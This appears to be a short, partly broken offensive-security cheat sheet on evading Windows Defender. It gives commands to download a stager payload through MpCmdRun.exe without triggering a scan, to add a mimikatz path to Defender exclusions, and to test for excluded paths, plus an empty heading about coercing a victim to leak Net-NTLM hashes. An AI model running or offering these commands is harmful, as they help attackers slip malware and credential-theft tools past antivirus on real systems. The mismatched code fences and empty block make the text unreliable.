Download stager without triggering Defender to scan it:

```
Cmd > "C:\Program Files\Windows Defender\MpCmdRun.exe" -DownloadFile -Url http://127.0.0.1/met.exe -Path C:\Users\user\music\met.exe
```

Coerce the victim machine to reach the attacker (to steal Net-NTLM):

```

* <https://github.com/Friends-Security/SharpExclusionFinder>

Add path to exclusions:

```
PS > $mimi = "C:\Users\user\music\mimi\x64\mimikatz.exe"
PS > Add-MpPreference -ExclusionPath $mimi [-AttackSurfaceReductionOnlyExclusions $mimi]
```

Test path for an exclusion:

```
PS > & "C:\Program Files\Windows Defender\MpCmdRun.exe" -Scan -ScanType 3 -File "C:\folder_to_check\|*"
```
